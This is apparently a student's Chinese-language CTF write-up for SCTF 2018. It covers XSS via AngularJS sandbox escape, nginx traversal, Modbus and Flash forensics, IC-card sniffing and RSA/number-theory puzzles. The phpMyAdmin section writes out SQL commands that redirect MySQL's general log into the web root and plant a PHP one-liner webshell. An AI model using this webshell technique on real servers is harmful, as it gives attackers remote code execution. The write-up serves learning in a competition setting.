参加的第一场校赛——SCTF 2018,连续肝了一天半,全程打酱油,做Misc & Crypto,全程现学现卖。

在未成为赛棍之前,每场CTF都是被虐的过程。

官方Wp / Nu1L WP

Web

新的建议板

一开始就去测试基本的xss,后来发现script被过滤了。

后来大佬提示看加载,发现有一个angular.***.js的js加载。

然后搜了一波发现了几篇科普文和总结绕过姿势的文章

AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

AngularJS沙盒逃逸姿势总结

XSS without HTML: Client-Side Template Injection with AngularJS

这题的收获就是,学会如何用xss去获取想要的信息(cookies、页面源码……)、还有用nc监听端口获取信息。

最后,发现Google的xss平台也挺好玩的。有空通关一波!

Nginx的秘密

这道题结合了好几个考点。。我一开始只找到了XXE的xml上传漏洞点

第一个关键点是Web缓存漏洞,没找到这个,就算xxe弄出来了也没用……

static存在目录穿越漏洞,然后结合题目hint,下载nginx的配置文件,然后与默认配置文件进行对比,查找difference

easiest web - phpmyadmin

这道题跟之前小组内的那次内网题的入口差不多,一样是通过禁用 INTO OUTFILE 来免杀一句话木马,但是可以通过日志记录写一句话马进去。

set global general_log='on';
set global general_log_file='D:/phpStudy/www/karma.php'; # 查看 general log file查看网站根目录位置
select "<?php ($_=@$_GET[a]).@$_($_POST['cmd']); ?>";
set global general_log=off; # 可有可无

连上之后就可以发现flag在根目录了。至于提(搅)权(屎),应该也是可行的。

Misc

神奇的Modbus

追踪tcp流,当时没有反应过来少了个o…就错过了一血。。

被动了手脚的数据

Modbus协议分析——TCP/RTU

工业控制系统安全之——Modbus学习笔记

肥宅快乐

这个游戏。。玩通关就会有flag,但是作为一个geek,肯定要找捷径啊!!就像Nu1L战队一样,以来直接

ActionScriptViewer直接解包看到Instance of Symbol 1217 MovieClip "textBox" in Symbol 2369 MovieClip Frame 440中存在"Normally I would be. This is for you U1lDe0YzaVpoYWlfa3U0aWxlX1QxMTF9, I thought I'd get to safer ground."

侧信道初探

这是跟硬件安全有关的知识,侧信道

一开始死看这几行代码是什么意思。。。但是后面hint说是简单的能量分析攻击(SPA),就说明可以直接读能量图得到flag,但是后来读错了。。正确读法如下:

神秘的交易

软件

[原创]用逻辑嗅探破解接触式IC卡口令

这个是4422卡,稍微好读好懂一点。但是要注意从右往左读,逻辑分析仪左往右是低到⾼,我们读的时候是从 ⾼到低。反正就是去读一遍文档看看有什么特性,然后就是读就好了。

交易识破后的报复

SLE4428 IC卡介绍及应用

FM4428 8K 位接触式逻辑加密卡电路

4428卡每次写/擦除数据都要校验,连续八次校验密码不成功,卡就会被自动锁死。

当时做的时候,根据上一题那样的做法,去读,去看文档,结果找到校验的片段(1011 0011 xxxx xxxx)。想着有修改,应该只需要对比就可以得出哪里做了修改,然后把可疑的flag都找出来,发现。。不行。。后来看了wp发现自己有个点理解错了(4428控制字只有6位)

Crypto

it may contain 'flag'

n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf
e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939
c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
Tell me the msg.

CTF中RSA的常见攻击方法

搜集资料,发现他是低解密指数攻击,所以可以用Wiener Attack来攻击,直接下载大佬的脚本,将参数修改,就可以跑出来了。

a number problem

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x

数论的知识~~连续肝一天半的时候,半夜疯狂看中国剩余定理,结果。。似懂非懂,发现还是不会。

扩展欧几里得算法与中国剩余定理留一波大佬的解释,等明年学密码学之前再看看~~

但是打完之后,发现有一个非预期解:

看来以后去读master的时候,有救了:)WolframAlpha

ElGamal Hacker

离散对数求私钥